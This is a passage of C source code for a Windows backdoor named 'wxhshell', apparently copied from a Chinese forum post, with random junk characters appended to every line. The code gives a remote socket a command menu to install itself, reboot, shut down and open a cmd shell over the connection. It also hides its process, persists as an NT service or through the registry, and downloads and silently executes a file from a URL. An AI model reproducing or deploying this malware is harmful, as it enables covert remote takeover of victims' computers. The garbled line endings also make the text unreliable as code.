  case '?': { - %'ys  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F8pP(Wl  
    break; .l:x!  
  } 45(n!"u65  
  // 安装 +?%L X4Y  
  case 'i': { [h0.k"&[  
    if(Install()) Pw|J([  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y?-zQs0  
    else .QLjaEja  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KmX?W/%R  
    break; >g+e`!;6  
    } 2 )F~  
  // 卸载 w7e+~8|  
  case 'r': { *%aWGAu:  
    if(Uninstall()) Z[GeU>?P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5<77o|  
    else &<Iz?AVr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Z}9S9YtN  
    break; gNaB^IY  
    } 8r\;8all  
  // 显示 wxhshell 所在路径 k.6gX<T  
  case 'p': { mhi^zHpa  
    char svExeFile[MAX_PATH]; x&d:V  
    strcpy(svExeFile,"\n\r"); &fRZaq'2R  
      strcat(svExeFile,ExeFile); =8W'4MC  
        send(wsh,svExeFile,strlen(svExeFile),0); RA3!k&8?#  
    break; =C4!h'hz  
    } p->b Vt  
  // 重启 +'ADN!(B_  
  case 'b': { "eH.<&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P>wTp)  
    if(Boot(REBOOT)) *V[6ta'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *R_mvJlT  
    else { di|5|bn7  
    closesocket(wsh); Z~6PrM-M  
    ExitThread(0); O!ngQrI  
    } 7blo<|9  
    break; 4iC=+YUn  
    } E%e2$KfD  
  // 关机 =LyR CrA  
  case 'd': { aQ#6PO7.Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {Q/_I@m].  
    if(Boot(SHUTDOWN)) EF5:$#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4<<T#oW.:G  
    else { ;vp[J&=  
    closesocket(wsh); |S.;']t+  
    ExitThread(0); }~+_|  
    } 7T/hmVi_  
    break; +2Wijrn  
    } ATkx_1]KM-  
  // 获取shell )9~-^V0A^>  
  case 's': { %"=qdBuk  
    CmdShell(wsh); ?>T (  
    closesocket(wsh); >pj)va[Q  
    ExitThread(0); <F&53N&Zc  
    break; R.)w l  
  } @lu` oyM  
  // 退出 Y<)9TU:D!  
  case 'x': { rZkl0Y;n\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5hg ^K^ZZ  
    CloseIt(wsh); ,cwjieM  
    break; +WfO2V.  
    } <-s5 ;xwtS  
  // 离开 %O02xr=  
  case 'q': { 8iXt8XY3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $e/[!3CASP  
    closesocket(wsh); kx6-8j3gD7  
    WSACleanup(); t<H@c9{;*  
    exit(1); DEN (pA\  
    break; ^hyp}WN  
        } :#nv:~2]  
  } ^#p+#_*V  
  } K<~J*k<v  
^/:G`'  
  // 提示信息 4fgYO]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %=<Kb\  
} `#y?:s ]e  
  } ;Vlt4,s)  
[`_-;/Gx2  
  return; ?a{es!  
} 9 6j*F,{  
dW} m44X  
// shell模块句柄 tJ9-8ZT*  
int CmdShell(SOCKET sock) x>eV$UJ  
{ bTJ l  
STARTUPINFO si; V4tObZP3Ff  
ZeroMemory(&si,sizeof(si)); AB[#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^7-l<R[T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @*"H{xo.U  
PROCESS_INFORMATION ProcessInfo; "Wn8}T*  
char cmdline[]="cmd"; )I(2t 6i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L3|~ i&k  
  return 0; #:M <<gk  
} D?`|`Mu  
!6pE0(V^+4  
// 自身启动模式 1qN+AT  
int StartFromService(void) W_Eur,/`  
{ k:* (..!0z  
typedef struct &+Yoob]P  
{  ie4BE'  
  DWORD ExitStatus; @78%6KZ`i  
  DWORD PebBaseAddress; U "kD)\  
  DWORD AffinityMask; 'l&bg8K9  
  DWORD BasePriority; ?A2jj`N1x  
  ULONG UniqueProcessId; M) Z3q  
  ULONG InheritedFromUniqueProcessId; #@8JYzMq%  
}   PROCESS_BASIC_INFORMATION; 0;SRmj@W  
qg9VK'3o  
PROCNTQSIP NtQueryInformationProcess; L2`a| T=  
F_z1ey`t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Jt|W%`X>D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l#^weXSlk  
"c*&~GSE4  
  HANDLE             hProcess; r"_SL!,^  
  PROCESS_BASIC_INFORMATION pbi; (^mpb  
_}3NLAqg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3JXKp k?   
  if(NULL == hInst ) return 0; Kp?j\67S  
>A ?{cbJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &N:`Rler  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NhF<2[mt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {/}p"(^  
~LSD\+  
  if (!NtQueryInformationProcess) return 0; iiD }2y b  
i[ 40p!~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *G(ZRj@ 33  
  if(!hProcess) return 0; ~%d*#Yxq  
EB2 5N~7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v/z~ j  
2{I+H'w8:  
  CloseHandle(hProcess); }KFM8CbS  
g ^4<ve  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +xn59V  
if(hProcess==NULL) return 0; >NjgLJh  
tA{?-5  
HMODULE hMod; xXfFi5Eom  
char procName[255]; zot_ jSV  
unsigned long cbNeeded; vuO~^N]G  
=5u;\b>*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (8jQdbZU  
st-I7K\v  
  CloseHandle(hProcess); f\h|Z*Bv  
= @n`5g  
if(strstr(procName,"services")) return 1; // 以服务启动 ew 4pAav  
q :-1ul  
  return 0; // 注册表启动 cC7&]2X +f  
} E%vT(Kz  
I W5N^J  
// 主模块 d6+{^v$#  
int StartWxhshell(LPSTR lpCmdLine) 5~\GAjf  
{ %W,V~kb  
  SOCKET wsl; A`ScAzx5{  
BOOL val=TRUE; uG{/yJeU  
  int port=0; HrH! 'bd  
  struct sockaddr_in door; #xfPobQ>il  
0p[-M`D  
  if(wscfg.ws_autoins) Install(); 4)+L(KyB2  
.y^T 3?}I  
port=atoi(lpCmdLine); 9KDm<Q-mf  
;k5B@z/<S  
if(port<=0) port=wscfg.ws_port;  YW'l),Z  
{LoNp0i1a  
  WSADATA data; *4?%Y8;bF6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U2kl-E:  
thrv_^A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   XG;Dj<Dm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @@} ]qT*  
  door.sin_family = AF_INET; f&88N<)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @r9[&  
  door.sin_port = htons(port); ,pR.HCR#Y  
QrRnXlE M8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |eEXCn3{  
closesocket(wsl); f/3rcYR;y  
return 1; +puF0]TR,i  
} 1y7FvD~v  
jzAXC^FS  
  if(listen(wsl,2) == INVALID_SOCKET) { -@?4Tfl  
closesocket(wsl); #s3R4@{  
return 1; JYO("f  
} A? T25<}  
  Wxhshell(wsl); v/~Lfi  
  WSACleanup(); FN"Ye*d  
#Z1 <lAy  
return 0; 6<{XwmM  
7 jiy9 [  
} *(CV OY~  
$[{YE[a  
// 以NT服务方式启动 /MV2#P@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4'GosQ85  
{ W'L  
DWORD   status = 0; I/Q~rVt  
  DWORD   specificError = 0xfffffff; "s.s(TR8  
Bf8[(oc~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f2G 3cg~H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I,@ 6w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Tjj-8cg  
  serviceStatus.dwWin32ExitCode     = 0; O 2W2&vY  
  serviceStatus.dwServiceSpecificExitCode = 0; R-OQ(]<*  
  serviceStatus.dwCheckPoint       = 0; pz,iQUs _o  
  serviceStatus.dwWaitHint       = 0; X^7n/|%*.  
T/iZ"\(~w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )kvrQ6  
  if (hServiceStatusHandle==0) return; |ohCA&k%;  
v9XevLs  
status = GetLastError(); =} flmUv~  
  if (status!=NO_ERROR) E?cf#;2h8m  
{ Bz4;R9_%I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m)e~HP7M  
    serviceStatus.dwCheckPoint       = 0; rB}2F*eT  
    serviceStatus.dwWaitHint       = 0; ^C70b)68  
    serviceStatus.dwWin32ExitCode     = status; mae@L  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ob@HzXH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n7(/ml+Q_  
    return; ?#Y1E~N  
  } u -A_l<K  
wrAcVR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bD<hzOa  
  serviceStatus.dwCheckPoint       = 0; H-jxH,mJmW  
  serviceStatus.dwWaitHint       = 0; (Ky$(Ubb#6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kadw1sYj  
} %z"n}|%!  
-I.BQ  
// 处理NT服务事件,比如:启动、停止 @H61^K<  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  7;$[s6$  
{  %&pd`A/  
switch(fdwControl) O[W/=j[  
{ [BuAJ930#5  
case SERVICE_CONTROL_STOP: Yk=2ld;;  
  serviceStatus.dwWin32ExitCode = 0; O[15x H,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KhZ\q|5  
  serviceStatus.dwCheckPoint   = 0; YWhp4`m  
  serviceStatus.dwWaitHint     = 0; 'Oa(]Br[  
  { I;+>@Cn(g<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *s$:"g-  
  } ?9Sc KN  
  return; D),hSqJ"  
case SERVICE_CONTROL_PAUSE: tLzKM+Ct#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A0 $ds  
  break; xew s~74L  
case SERVICE_CONTROL_CONTINUE: A}G>JL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; npMPjknl  
  break; U~O*9  
case SERVICE_CONTROL_INTERROGATE: A O3MlK9t  
  break; nJcY>Rp?  
}; QS%t:,0lp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z@U5  
} UNyk, #4  
8]&\FA8  
// 标准应用程序主函数 _ pO1XM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hgbrlh  
{ |Pq z0n=v  
]:svR@E  
// 获取操作系统版本 O7z5,-  
OsIsNt=GetOsVer(); z, c=."<z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H-t"Z}  
s7s@!~  
  // 从命令行安装 lX/:e=  
  if(strpbrk(lpCmdLine,"iI")) Install(); wG X\ub#!  
Y{OnW98  
  // 下载执行文件 Tzr'3m_  
if(wscfg.ws_downexe) { :&BE-f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F5%IsAH  
  WinExec(wscfg.ws_filenam,SW_HIDE); AYv7- !Yk  
} n7pjj  
]:.9:RmEV  
if(!OsIsNt) { x\5v^$  
// 如果时win9x,隐藏进程并且设置为注册表启动 %s ">:  
HideProc(); fF.sT7Az+  
StartWxhshell(lpCmdLine); +l;AL5h  
} b] ~  
else jPEOp#C  
  if(StartFromService()) S^_F0</U,  
  // 以服务方式启动 @waY+sqt=  
  StartServiceCtrlDispatcher(DispatchTable); S=qx,<J 39  
else 2 >/}-a  
  // 普通方式启动 QSyPtjg]  
  StartWxhshell(lpCmdLine); +u;RFY^  
kerBy\^  
return 0; TnJJ& "~3b  
}
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只看该作者 1 发表于: 2006-10-10
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